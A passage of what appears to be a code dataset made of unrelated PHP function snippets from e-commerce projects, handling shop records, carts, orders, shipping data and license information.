$tmp_res_branch_count > 0 ) {\n\t\t\t\t$tmp_grocery_branch = $this->CI->Grocery_branch->get_all_by( $conds )->result();\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t$tmp_grocery_branch[] = $this->CI->Grocery_branch->get_empty_object();\n\t\t\t}\n\t\t\t$obj->grocery_branch = $tmp_grocery_branch;\n\t\t}\n\n\t\tif($need_return)\n\t\t{\n\t\t\treturn $obj;\n\t\t}\t\n\t}", "function hook_commerce_adyen_shopper_information_alter(\\Commerce\\Adyen\\Payment\\Composition\\Shopper $shopper, \\EntityDrupalWrapper $billing, array $checkout_values, \\EntityDrupalWrapper $order) {\n $shopper->setFirstName('Sergii');\n}", "public function beforeSave()\n {\n foreach ($this->fields as $f) {\n\n $post = !yii::$app->request->isConsoleRequest ? yii::$app->request->post($this->owner->shortClassName) : null;\n if ($post && isset($post[$f])) {\n if (is_array($post[$f])) {\n $this->owner->{$f} = ArrayHelper::merge((is_array($this->owner->{$f}) ? $this->owner->{$f} : []), $post[$f]);\n } else {\n $this->owner->{$f} = $post[$f];\n }\n }\n\n $data = $this->owner->{$f};\n if ($f == 'additional_data') {\n if (yii::$app->request->isConsoleRequest) {\n $defaultData['info'] = [\n 'triggered by console application'\n ];\n } else {\n $defaultData['info'] = [\n 'user' => (yii::$app->user->isGuest ? 'guest' : yii::$app->user->id),\n 'ip' => yii::$app->request->userIP,\n ];\n }\n $data = is_array($data) ? array_merge($defaultData, $data) : $defaultData;\n }\n $this->owner->{$f} = Json::encode($data);\n }\n }", "public function organizeData()\n {\n $this->data = [\n ['name' => '商城名称', 'value' => \\Setting::get('shop.shop')['name']],\n ['name' => '粉丝昵称', 'value' => $this->member['nickname']],\n ['name' => '退款单号', 'value' => $this->refund->refund_sn],\n ['name' => '退款申请时间', 'value' => $this->refund->create_time->toDateTimeString()],\n ['name' => '退款方式', 'value' => $this->order->pay_type_name],\n ['name' => '退款金额', 'value' => $this->refund->price],\n ['name' => '退款原因', 'value' => $this->refund->reason],\n ];\n }", "public function updateShop(Request $request){\n // check params \n if(!$this->requiredParams($request, ['key','id'])){\n return response()->json(['status' => 'error' , 'message' => 'missing params' ] , 400);\n }\n\n $key = $this->checkParam($request->key);\n if ($key !== self::KEY) {\n return response()->json(['status' => 'error' , 'message' => 'invalid request' ] , 400);\n }\n $id = $this->checkParam($request->id);\n \n $shop = Shop::find($id);\n if (empty($shop)) {\n \treturn response()->json(['status' => 'error' , 'message' => __('errors.shop-not-exists') ] , 400);\n }\n\n\n\n $owner_id = $shop->owner_id;\n $request['owner_id'] = $owner_id;\n $owner = new Shopcontroller;\n $response = $owner->updateOwner($request);\n\n // handle response\n $status = $response->status();\n $contentResponse = $response->getContent();\n $contentResponse = json_decode($contentResponse);\n $message = $contentResponse->message;\n\n if($status != 200){\n \t// something wrong\n \treturn response()->json(['status' => 'error' , 'message' => $message ] , 400);\n }\n $shop_status_id = $request->shop_status_id;\n\n if (isset($request->shop_status_id)) {\n $shopStatus = ShopStatus::where('id', $request->shop_status_id)->first();\n if ( $shopStatus == null) {\n return response()->json(['status' => 'error' , 'message' => 'shopStatus not found' ] , 400);\n }\n }\n\n if (isset($request->shop_phone)) {\n $shop_phone = $this->checkParam($request->shop_phone);\n // check shop phone\n if(!$this->verifyPhone($shop_phone)) {\n return response()->json(['status' => 'error' , 'message' => __('errors.shop_phone-not-valid') ] , 400);\n }\n }\n \n $shop = Shop::where('id', $id)->with('owner')->first();\n if (isset($request->name)) {\n $shop->name =$this->checkParam($request->name);\n }\n if (isset($request->flour)) {\n $shop->flour =$this->checkParam($request->flour);\n }\n if (isset($request->open_time)) {\n $shop->open_time =$this->checkParam($request->open_time);\n }\n if (isset($request->close_time)) {\n $shop->close_time =$this->checkParam($request->close_time);\n }\n if (isset($request->sale)) {\n $shop->sale =$this->checkParam($request->sale);\n }\n if (isset($request->min_order_cost)) {\n $shop->min_order_cost =$this->checkParam($request->min_order_cost);\n }\n if (isset($request->mall_id)) {\n $shop->mall_id =$this->checkParam($request->mall_id);\n }\n if (isset($shop_status_id)) {\n $shop->shop_status_id =$shop_status_id;\n }\n \n $shop->owner_id =$owner_id;\n \n if (isset($request->lat)) {\n $shop->lat =$this->checkParam($request->lat);\n }\n if (isset($request->lng)) {\n $shop->lng =$this->checkParam($request->lng);\n }\n if ($shop_phone) {\n $shop->shop_phone =$shop_phone;\n }\n \n if ($request->hasFile('logo')) {\n $image = $request->file('logo');\n $input['imagename'] = time().'.'.$image->getClientOriginalExtension();\n $dest = public_path('/images');\n $image->move($dest, $input['imagename']);\n $shop->logo = $input['imagename'];\n }\n\n\n $shop->save();\n return response()->json(['status' => 'success' , 'message' => 'OK', 'data' => $shop] , 200); \n }", "private function makeUserCartData($data){\n\t\t$userId = $this->Session->read('Auth.User.id');\n\t\t$data['user_id'] = $userId;\n\t\t$data['phone'] = $this->Session->read('Auth.User.phone');\n\t\t$data['email'] = $this->Session->read('Auth.User.email');\n\t\t$data['name'] = $this->Session->read('Auth.User.first_name') . ' ' . $this->Session->read('Auth.User.last_name');\n\t\tif ($data['name'] === ' ') {\n\t\t\t$data['name'] = $this->Session->read('Auth.User.username');\n\t\t}\n\t\t$data['ship_id'] = $this->Session->read('Auth.User.ship_id');\n\t\t$data['bill_id'] = $this->Session->read('Auth.User.bill_id');\n\n\t\t$Address = ClassRegistry::init('AddressModule.Address');\n\n\t\tif (!is_null($id = $this->Session->read('Auth.User.ship_id'))) {\n\t\t\tif (!empty($Address->duplicate($id))) {\n\t\t\t\t$addressId = $Address->data['Address']['id'];\n\t\t\t\t$data['ship_id'] = $addressId;\n\t\t\t\t$Address->link($addressId, 'User', $userId);\n\t\t\t\t$Address->type($addressId, 'shipping');\n\t\t\t}\n\n\t\t}\n\t\tif (!is_null($id = $this->Session->read('Auth.User.bill_id'))) {\n\t\t\tif (!empty($Address->duplicate($id))) {\n\t\t\t\t$addressId = $Address->data['Address']['id'];\n\t\t\t\t$data['bill_id'] = $addressId;\n\t\t\t\t$Address->link($addressId, 'User', $userId);\n\t\t\t\t$Address->type($addressId, 'billing');\n\t\t\t}\n\t\t}\n\t\treturn $data;\n\t}", "private function getShopId() {\n\t\t\treturn $this->shopId;\n\t\t}", "private function commonStoreUpdate(array $raw_data){\n (!$logo_id = array_deep_search( $raw_data, 'logo_id')) ? : $modified_data['logo_id'] = (int)$logo_id;\n (!$city_id = array_deep_search( $raw_data, 'city_id')) ? : $modified_data['city_id'] = (int)$city_id;\n (!$region_id = array_deep_search( $raw_data, 'region_id')) ? : $modified_data['region_id'] = (int)$region_id;\n (!$town_id = array_deep_search( $raw_data, 'town_id')) ? : $modified_data['town_id'] = (int)$town_id;\n (!$postcode_id = array_deep_search( $raw_data, 'postcode_id')) ? : $modified_data['postcode_id'] = (int)$postcode_id;\n (!$industry_id = array_deep_search( $raw_data, 'industry_id')) ? : $modified_data['industry_id'] = (int)$industry_id;\n (!$business_type_ids = array_deep_search( $raw_data, 'business_type_ids')) ? : $modified_data['business_type_ids'] = array_map( 'intval', $business_type_ids);\n $is_active = array_deep_search($raw_data, 'is_active');\n if ( $is_active ) {\n $modified_data['is_active'] = (\"false\" !== $is_active) ? TRUE : FALSE;\n }//if ( $is_active )\n (!$business_name = array_deep_search( $raw_data, 'business_name')) ? : $modified_data['business_name'] = (string)$business_name;\n (!$trading_name = array_deep_search( $raw_data, 'trading_name')) ? : $modified_data['trading_name'] = (string)$trading_name;\n (!$bank_account_number = array_deep_search( $raw_data, 'bank_account_number')) ? : $modified_data['bank_account_number'] = (string)$bank_account_number;\n (!$address1 = array_deep_search( $raw_data, 'address1')) ? : $modified_data['address1'] = (string)$address1;\n (!$address2 = array_deep_search( $raw_data, 'address2')) ? : $modified_data['address2'] = (string)$address2;\n (!$phone = array_deep_search( $raw_data, 'phone')) ? : $modified_data['phone'] = (string)$phone;\n (!$website = array_deep_search( $raw_data, 'website')) ? : $modified_data['website'] = (string)$website;\n (!$business_email = array_deep_search( $raw_data, 'business_email')) ? : $modified_data['business_email'] = (string)$business_email;\n (!$contact_name = array_deep_search( $raw_data, 'contact_name')) ? : $modified_data['contact_name'] = (string)$contact_name;\n (!$contact_mobile = array_deep_search( $raw_data, 'contact_mobile')) ? : $modified_data['contact_mobile'] = (string)$contact_mobile;\n $is_featured = array_deep_search($raw_data, 'is_featured');\n if ( $is_featured ) {\n $modified_data['is_featured'] = (\"false\" !== $is_featured) ? TRUE : FALSE;\n }//if ( $is_featured )\n $is_display = array_deep_search($raw_data, 'is_display');\n if ( $is_display ) {\n $modified_data['is_display'] = (\"false\" !== $is_display) ? TRUE : FALSE;\n }//if ( $is_display )\n (!$available_hours_mon = array_deep_search( $raw_data, 'available_hours_mon')) ? : $modified_data['available_hours_mon'] = (string)$available_hours_mon;\n (!$available_hours_tue = array_deep_search( $raw_data, 'available_hours_tue')) ? : $modified_data['available_hours_tue'] = (string)$available_hours_tue;\n (!$available_hours_wed = array_deep_search( $raw_data, 'available_hours_wed')) ? : $modified_data['available_hours_wed'] = (string)$available_hours_wed;\n (!$available_hours_thu = array_deep_search( $raw_data, 'available_hours_thu')) ? : $modified_data['available_hours_thu'] = (string)$available_hours_thu;\n (!$available_hours_fri = array_deep_search( $raw_data, 'available_hours_fri')) ? : $modified_data['available_hours_fri'] = (string)$available_hours_fri;\n (!$available_hours_sat = array_deep_search( $raw_data, 'available_hours_sat')) ? : $modified_data['available_hours_sat'] = (string)$available_hours_sat;\n (!$available_hours_sun = array_deep_search( $raw_data, 'available_hours_sun')) ? : $modified_data['available_hours_sun'] = (string)$available_hours_sun;\n return $modified_data;\n }", "function setOrderPaid($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n}", "public function getApiProps()\n {\n $this->normalizeData();\n\n $data = [\n 'ShopItemId' => $this->ShopItemId,\n 'ClientReferenceCode' => ''.$this->ClientReferenceCode,\n \"Address\" => [\n \"CompanyName\" => $this->escapeTextData($this->CompanyName),\n 'Name' => $this->escapeTextData($this->Name),\n 'Streetname1' => $this->escapeTextData($this->Streetname1),\n 'Streetname2' => $this->escapeTextData($this->Streetname2),\n 'HouseNumber' => $this->HouseNumber,\n 'NumberExtension' => $this->NumberExtension,\n 'PostalCode' => $this->PostalCode,\n 'City' => $this->escapeTextData($this->City),\n 'State' => $this->State && strlen($this->State) > 1 ? $this->escapeTextData($this->State) : '',\n 'Country' => $this->Country,\n 'Phone' => $this->Phone && strlen($this->Phone) > 2 ? $this->Phone : '',\n 'Email' => trim($this->Email),\n 'BTW' => trim($this->BTW),\n 'Neighborhood' =>$this->Neighborhood ? $this->escapeTextData(trim($this->Neighborhood)) : ''\n ],\n \"Customs\" => [\n 'CustomsType' => $this->CustomsType,\n 'Description' => trim($this->Description) ? $this->escapeTextData($this->Description) : 'could not find a description for this order, please input manually and send a printscreen of the original order to support',\n 'HSCode' => $this->HSCode,\n 'Type' => 4,\n 'Value' => $this->Value ? number_format($this->Value, 2, '.', '') : '' , // API assumes a max of 2 decimal places\n ],\n\n ];\n\n if ($this->ShippingMethodId) {\n $data['ShippingMethodId'] = $this->ShippingMethodId;\n }\n\n if ($this->ShippingMethodName) {\n $data['ShippingMethodName'] = $this->ShippingMethodName; \n }\n\n if ($this->Transporter) {\n $data['Carrier'] = [\n \"Id\"=> $this->Transporter,\n ];\n }\n\n if ($this->Weight != '') {\n $data['Weight'] = $this->Weight; //in grams\n }\n\n if ($this->Length || $this->Width || $this->Height) {\n $data['Dimensions'] = [\n 'Width' => $this->Width,\n 'Length' => $this->Length,\n 'Height' => $this->Height,\n ];\n }\n\n if ($this->PointId) {\n $data[\"PickupPoint\"] = [\n \"PointId\" => $this->PointId,\n ];\n\n if ($this->ExtendedInfo) {\n $data[\"PickupPoint\"][\"ExtendedInfo\"] = $this->ExtendedInfo;\n }\n }\n\n if ($this->OptionList) {\n $data['OptionList'] = $this->OptionList;\n }\n\n if (!empty($this->ShipmentItems)) {\n $data['ShipmentItems'] = $this->ShipmentItems;\n }\n\n return (object) $data;\n }", "function get_my_shop($userId)\n {\n $protocol = \"http://\";//(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? \"https://\" : \"http://\";\n $domainName = $_SERVER['HTTP_HOST'];\n $pshop = $link = '';\n $p_userddd = $this->user_model->get('use_id,use_username, use_group, parent_id, use_status', 'use_status = 1 AND use_id = ' . (int)$userId);\n $linksp = '';\n switch ($p_userddd->use_group) {\n case AffiliateStoreUser:\n $checkDomain = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . (int)$p_userddd->use_id);\n $domain_p = $checkDomain->sho_link . '.' . $domainName;\n if ($checkDomain->domain != '') {\n $domain_p = $checkDomain->domain;\n }\n $pshop = $checkDomain->sho_link;\n $link = $linksp = $protocol . $domain_p;\n break;\n\n case StaffUser:\n $user_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . (int)$p_userddd->parent_id);\n $userID = $user_p->use_id;\n if ($user_p->use_group == BranchUser) {\n $info_parent = 'CN: ' . $user_p->use_username;\n $checkDomain_parent = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . (int)$user_p->use_id);\n\n $user_p_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . (int)$user_p->parent_id);\n $userID = $user_p_p->use_id;\n if ($user_p_p->use_group == StaffStoreUser) {\n $info_parent .= ' ,NVGH: ' . $user_p_p->use_username;\n $checkDomain_parent = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . (int)$user_p_p->parent_id);\n\n $user_p_p_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . (int)$user_p_p->parent_id);\n $userID = $user_p_p_p->use_id;\n $info_parent .= ', GH: ' . $user_p_p_p->use_username;\n } else {\n $info_parent .= ', GH: ' . $user_p_p->use_username;\n }\n } else {\n $info_parent = 'GH: ' . $user_p->use_username;\n }\n break;\n\n case BranchUser:\n\n $checkDomain = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . (int)$p_userddd->use_id);\n $user_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . (int)$p_userddd->parent_id);\n $userID = $user_p->use_id;\n $info_parent = 'GH: ' . $user_p->use_username;\n $checkDomain_p = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . (int)$user_p->use_id);\n if ($user_p->use_group == StaffStoreUser) {\n $user_p_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . (int)$user_p->parent_id);\n $userID = $user_p_p->use_id;\n $info_parent = 'NVGH: ' . $user_p->use_username . ', GH: ' . $user_p_p->use_username;\n $checkDomain_p = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . (int)$user_p_p->use_id);\n }\n $domain_p = $checkDomain_p->sho_link . '.' . $domainName;\n if ($checkDomain_p->domain != '') {\n $domain_p = $checkDomain_p->domain;\n }\n $pshop = $checkDomain->sho_link;\n $link = $protocol . $domain_p . '/' . $checkDomain->sho_link;\n //get link sp, link tin\n $linksp = $protocol . $checkDomain->sho_link . '.' . $domainName;\n if ($checkDomain->domain != '') {\n $linksp = $protocol . $checkDomain->domain;\n }\n break;\n\n case StaffStoreUser:\n $user_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . (int)$p_userddd->parent_id);\n $userID = $user_p->use_id;\n $info_parent = 'GH: ' . $user_p->use_username;\n break;\n\n case AffiliateUser: \n $sho_aff = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . (int)$p_userddd->use_id);\n $user_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . (int)$p_userddd->parent_id);\n $userID = $user_p->use_id;\n $info_parent = 'GH: ' . $user_p->use_username;\n switch ($user_p->use_group) {\n case StaffUser:\n $info_parent = 'NV: ' . $user_p->use_username;\n $user_p1 = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . $user_p->parent_id);\n $userID = $user_p1->use_id;\n $checkDomain = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . $user_p1->use_id);\n if ($user_p1->use_group == BranchUser) {\n $info_parent .= ', CN: ' . $user_p1->use_username;\n\n $user_p_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . $user_p1->parent_id);\n $userID = $user_p_p->use_id;\n if ($user_p_p->use_group == StaffStoreUser) {\n $info_parent .= ' ,NVGH: ' . $user_p_p->use_username;\n\n $user_p_p_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . $user_p_p->parent_id);\n $userID = $user_p_p_p->use_id;\n $info_parent .= ', GH: ' . $user_p_p_p->use_username;\n } else {\n $info_parent .= ', GH: ' . $user_p_p->use_username;\n }\n } else {\n $info_parent .= ', GH: ' . $user_p1->use_username;;\n }\n break;\n case BranchUser:\n $checkDomain = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . $user_p->use_id);\n $user_p1 = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . $user_p->parent_id);\n $userID = $user_p->use_id;\n $info_parent = 'CN: ' . $user_p->use_username . ', GH: ' . $user_p1->use_username;\n\n if ($user_p1->use_group == StaffStoreUser) {\n $user_p_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . $user_p1->parent_id);\n $userID = $user_p_p->use_id;\n\n $info_parent = 'CN: ' . $user_p->use_username . ', NVGH: ' . $user_p1->use_username . ', GH: ' . $user_p_p->use_username; \n }\n break;\n case StaffStoreUser:\n $user_p_p = $this->user_model->get(\"use_id,use_username, use_group, parent_id\", \"use_status = 1 AND use_id = \" . $user_p->parent_id);\n $userID = $user_p_p->use_id;\n\n $info_parent = 'NVGH: ' . $user_p->use_username . ', GH: ' . $user_p_p->use_username;\n $checkDomain = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . $user_p_p->use_id);\n break;\n default:\n $checkDomain = $this->shop_model->get('sho_id, sho_link, domain', 'sho_user = ' . $user_p->use_id);\n break;\n }\n\n $pshop = $checkDomain->sho_link;\n $link = $protocol . $checkDomain->sho_link . '.' . $domainName;\n if ($checkDomain->domain != '') {\n $pshop = $checkDomain->domain;\n $link = $protocol . $checkDomain->domain;\n }\n $linksp = $link;\n $link .= '/' . $sho_aff->sho_link;\n\n break;\n\n default:\n\n break;\n }\n $info = array(\n 'info_parent' => $info_parent,\n 'pshop' => $pshop,\n 'link_gh' => $link,\n 'link_sp' => $linksp\n );\n return $info;\n }", "protected function getShopName()\n {\n return $this->shopName;\n }", "protected function cleanData(&$data){\n if(isset($data['field'])){\n $data['field'] = $this->getReference('User\\Entity\\Field', $data['field']['id']);\n }\n\t\tif(isset($data['style'])){\n $data['style'] = $this->getReference('User\\Entity\\Style', $data['style']['id']);\n }\n if(isset($data['sale'])){\n $data['sale'] = $this->getReference('User\\Entity\\Staff', $data['sale']['id']);\n }\n if(isset($data['pm'])){\n $data['pm'] = $this->getReference('User\\Entity\\Staff', $data['pm']['id']);\n }\n if(isset($data['client'])){\n $data['client'] = $this->getReference('\\User\\Entity\\User', $data['client']['id']);\n }\n if(isset($data['sourceLanguage'])){\n $data['sourceLanguage'] = $this->getReference('\\User\\Entity\\Language', $data['sourceLanguage']['id']);\n }\n if(isset($data['startDate'])){\n $data['startDate'] = new \\DateTime($data['startDate']);\n }\n\t\telse {\n\t\t\t$data['startDate'] = new \\DateTime('now');\n\t\t}\n if(isset($data['dueDate'])){\n $data['dueDate'] = new \\DateTime($data['dueDate']);\n }\n\t\telse {\n\t\t\t//$date_tmp = new \\DateTime($data['startDate']);\n\t\t\t$data['dueDate'] = $data['startDate']->add(new DateInterval('P30D'));\n\t\t}\n if(isset($data['status'])){\n $data['status'] = $data['status']['id'];\n }\n\t\tif(isset($data['currency']) && isset($data['currency']['id'])){\n $data['currency'] = $data['currency']['id'];\n }\n\t\tif(isset($data['transGraph']) && isset($data['transGraph']['id']) ){\n $data['transGraph'] = $data['transGraph']['id'];\n }\n\t\tif(isset($data['serviceLevel']) && isset($data['serviceLevel']['id'])){\n $data['serviceLevel'] = $data['serviceLevel']['id'];\n }\n\n\n if(isset($data['priority'])){\n $data['priority'] = $data['priority']['id'];\n }\n if(isset($data['serviceLevel'])) {\n $data['serviceLevel'] = $data['serviceLevel'];\n }\n if(isset($data['invoiceinfo'])) {\n \t$data['invoiceinfo'] = $data['invoiceinfo'];\n }\n if(isset($data['createType'])) {\n \t$data['createType'] = $data['createType'];\n }\n\n if(isset($data['types'])){\n $arr = [];\n foreach($data['types'] as $type){\n $arr[] = $type['id'];\n }\n $data['types'] = $arr;\n }\n\t\telse{\n\t\t\t$arr = [];\n\t\t\tif($data['createType']=='orderTranslationNonContract' || $data['createType'] == 'landingOrder')\n\t\t\t\t$arr[] = 1;\n\t\t\telse\n\t\t\t\t$arr[] = 1;\n\t\t\t$data['types'] = $arr;\n\t\t}\n }", "private function commonStoreUpdate(array $raw_data){\n $modified_data = [];\n (!$industry = array_deep_search( $raw_data, 'industry')) ? : $modified_data['industry'] = (string)$industry;\n return $modified_data;\n }", "function wc_importer_shopify_expand_data( $data ) {\n\tif ( isset( $data['meta:shopify_requires_shipping'] ) ) {\n\t\t$requires_shipping = wc_string_to_bool( $data['meta:shopify_requires_shipping'] );\n\n\t\tif ( ! $requires_shipping ) {\n\t\t\tif ( isset( $data['type'] ) ) {\n\t\t\t\t$data['type'][] = 'virtual';\n\t\t\t} else {\n\t\t\t\t$data['type'] = array( 'virtual' );\n\t\t\t}\n\t\t}\n\n\t\tunset( $data['meta:shopify_requires_shipping'] );\n\t}\n\treturn $data;\n}", "protected function _getShopOwnerFromModuleSettings()\n {\n $sShopOwner = '';\n\n $oModule = oxNew('oxModule');\n if ($oModule->load('payppaypalplus')) {\n $sShopOwner = $oModule->getConfig()->getConfigParam('paypPayPalPlusShopOwnerStr');\n }\n\n return $sShopOwner;\n }", "function setOrderSend($object) { \n /* you can itentify the item with $object->Item->ShopId */ \n}", "public static function dump_order($order)\n {\n //$order = orm::factory(\"order\")->where(\"order_shopper_id\",$shopper_id)->where(\"id\",$order_id)->find();\n //die(print_r($order->as_array()));\n $data=$order->as_array();\n //$data[\"order_price_discount\"]=$order->order_total_with_vat-$order->order_voucher_discount;\n\n // doplnime nektera data, pripadne je zformatujeme\n $data[\"order_state\"]=$order->order_state->nazev;\n $data[\"order_timestamp\"]=strtotime($data[\"order_date\"]);\n $data[\"order_date\"]=date(\"d.m.Y H:i:s\",$data[\"order_timestamp\"]);\n \n // TODO datum splatnosti\n \n $order_state=orm::factory(\"order_state\",$data[\"order_state_id\"]);\n $data[\"order_status\"]=$order_state->popis;\n\n // doplneni dat o majiteli\n $owner=orm::factory(\"product_setting\",1);//$owner=orm::factory(\"owner\",1);\n $data[\"owner_firma\"]=$owner->billing_data_nazev;\n $data[\"owner_ulice\"]=$owner->billing_data_ulice;\n //$data[\"owner_cp\"]=$owner->cp;\n $data[\"owner_mesto\"]=$owner->billing_data_mesto;\n $data[\"owner_psc\"]=$owner->billing_data_psc;\n $data[\"owner_ic\"]=$owner->billing_data_ic;\n $data[\"owner_dic\"]=$owner->billing_data_dic;\n $data[\"owner_tel\"]=$owner->billing_data_telefon;\n $data[\"owner_fax\"]=$owner->billing_data_fax;\n \n $data[\"owner_email\"]=$owner->billing_data_email;\n $data[\"owner_banka\"]=$owner->billing_data_banka;\n $data[\"owner_iban\"]=$owner->billing_data_iban;\n $data[\"owner_cislo_uctu\"]=$owner->billing_data_cislo_uctu;\n $data[\"owner_konst_s\"]=$owner->billing_data_konst_s;\n $data[\"owner_spec_s\"]=$owner->billing_data_spec_s;\n $data[\"owner_swift\"]=$owner->billing_data_swift;\n $data[\"owner_due_date\"]=$owner->billing_data_due_date;\n $data[\"owner_www\"]=\"\";\n\n if($data[\"order_branch_email\"]){\n $data[\"order_branch_name\"]=$data[\"order_branch_name\"];\n $data[\"order_branch_street\"]=$data[\"order_branch_street\"];\n $data[\"order_branch_city\"]=$data[\"order_branch_city\"];\n $data[\"order_branch_zip\"]=$data[\"order_branch_zip\"];\n $data[\"order_branch_phone\"]=$data[\"order_branch_phone\"];\n $data[\"order_branch_email\"]=$data[\"order_branch_email\"];\n $data[\"no_delivery_address\"]=false;\n }\n else\n {\n // nebyla vyplnena dodaci adresa, vyplnime ji jako fakturacni\n $data[\"no_delivery_address\"]=true;\n }\n\n $shipping=$order->shipping;\n $data[\"order_shipping_id\"]=$shipping->id;\n $data[\"order_shipping_nazev\"]=$shipping->nazev;\n $data[\"order_shipping_descr\"]=$shipping->popis;\n // ceny jsou ulozeny v objednavce\n\n $payment=$order->payment;\n $data[\"order_payment_id\"]=$payment->id;\n $data[\"order_payment_nazev\"]=$payment->nazev;\n $data[\"order_payment_predem\"]=$payment->predem;\n // ceny jsou ulozeny v objednavce\n\n \n // seznam produktu v objednavce\n $order_products = $order->items->find_all();\n $x=0;\n foreach($order_products as $product){\n $data[\"products\"][$x]=$product->as_array();\n\n $x++;\n }\n \n $data[\"order_total_vat\"]=$data[\"order_total_with_vat\"] - $data[\"order_total_without_vat\"];\n \n //die(print_r($data));\n return $data;\n }", "public function order_save_data() {\n\t\tglobal $wpdb;\n\n\t\t$user_id = $_POST['user_id'];\n\n\t\t// Get order info that can be manipulated and compared\n\t\t$current_info \t= WC_Api_Manager_Helpers::get_users_data( $user_id );\n\n\t\t$order_key \t\t= esc_attr( stripslashes_deep( $_POST['order_key'] ) );\n\n\t\tif ( ! empty( $_POST['_api_update_permission'] ) )\n\t\t\t$update_permission = 'yes';\n\t\telse\n\t\t\t$update_permission = 'no';\n\n\t\t$info = WC_Api_Manager_Helpers::get_users_data( $user_id );\n\n\t\t// Get order info that can be used to populate values\n\t\t$data = $info[$order_key];\n\n\t\tif ( isset( $data ) ) {\n\n\t\t\tif ( $order_key ) {\n\n\t\t\t\tunset( $current_info[$order_key] );\n\n\t\t\t\t$update =\n\t\t \t\tarray( $order_key =>\n\t\t \t\t\tarray(\n\t\t \t'user_id'\t\t\t\t\t\t=> absint( $data['user_id'] ),\n\t\t\t\t\t\t\t'order_id' \t\t\t\t\t\t=> absint( $data['order_id'] ),\n\t\t\t\t\t\t\t'order_key' \t\t\t\t\t=> sanitize_text_field( $order_key ),\n\t\t\t\t\t\t\t'license_email' \t\t\t\t=> sanitize_text_field( stripslashes_deep( $_POST['license_email'] ) ),\n\t\t\t\t\t\t\t'_api_software_title_parent' \t=> empty( $_POST['_api_software_title_parent'] ) ? '' : sanitize_text_field( stripslashes_deep( $_POST['_api_software_title_parent'] ) ),\n\t\t\t\t\t\t\t'_api_software_title_var' \t\t=> empty( $_POST['_api_software_title_var'] ) ? '' : sanitize_text_field( stripslashes_deep( $_POST['_api_software_title_var'] ) ),\n\t\t\t\t\t\t\t'software_title' \t\t\t\t=> empty( $_POST['software_title'] ) ? '' : sanitize_text_field( stripslashes_deep( $_POST['software_title'] ) ),\n\t\t\t\t\t\t\t'parent_product_id'\t\t\t\t=> sanitize_text_field( $data['parent_product_id'] ),\n\t\t\t\t\t\t\t'variable_product_id'\t\t\t=> sanitize_text_field( $data['variable_product_id'] ),\n\t\t\t\t\t\t\t'current_version'\t\t\t\t=> sanitize_text_field( stripslashes_deep( $_POST['current_version'] ) ),\n\t\t\t\t\t\t\t'_api_activations'\t\t\t\t=> empty( $_POST['_api_activations'] ) ? '' : absint( $_POST['_api_activations'] ),\n\t\t\t\t\t\t\t'_api_activations_parent'\t\t=> empty( $_POST['_api_activations_parent'] ) ? '' : absint( $_POST['_api_activations_parent'] ),\n\t\t\t\t\t\t\t'_api_update_permission'\t\t=> sanitize_text_field( $update_permission ),\n\t\t\t\t\t\t\t'is_variable_product'\t\t\t=> sanitize_text_field( $data['is_variable_product'] ),\n\t\t\t\t\t\t\t'license_type'\t\t\t\t\t=> '',\n\t\t\t\t\t\t\t'expires'\t\t\t\t\t\t=> '',\n\t\t\t\t\t\t\t)\n\t\t \t\t\t);\n\n\t\t\t\t$new_info = array_merge_recursive( $update, $current_info );\n\n\t\t\t\tupdate_user_meta( $user_id, $wpdb->get_blog_prefix() . WC_Api_Manager_Helpers::$user_meta_key_orders, $new_info );\n\n\t\t\t}\n\n\t\t}\n\n\t}", "public function getShopName()\n {\n return $this->shopName;\n }", "public function getOwner()\n {\n return $this->data['owner'];\n }", "public function getShopName()\n {\n return 'oscommerce-2.3.4';\n }", "public function addShop(Request $request){\n \n \n // check params \n if(!$this->requiredParams($request, ['key','name','logo','open_time','close_time','shop_status_id','mall_id',])){\n return response()->json(['status' => 'error' , 'message' => 'missing params' ] , 400);\n }\n\n $key = $this->checkParam($request->key);\n if ($key !== self::KEY) {\n return response()->json(['status' => 'error' , 'message' => 'invalid request' ] , 400);\n }\n\n $shopStatus = ShopStatus::where('id', $request->shop_status_id)->first();\n if ( $shopStatus == null) {\n return response()->json(['status' => 'error' , 'message' => 'shopStatus not found' ] , 400);\n }\n \n $shop_phone = $this->checkParam($request->shop_phone);\n // check shop phone\n if(!$this->verifyPhone($shop_phone)) {\n return response()->json(['status' => 'error' , 'message' => __('errors.shop_phone-not-valid') ] , 400);\n }\n\n\n $owner = new Shopcontroller;\n $response = $owner->addOwner($request);\n\n // handle response\n $status = $response->status();\n $contentResponse = $response->getContent();\n $contentResponse = json_decode($contentResponse);\n $message = $contentResponse->message;\n\n if($status != 200){\n \t// something wrong\n \treturn response()->json(['status' => 'error' , 'message' => $message ] 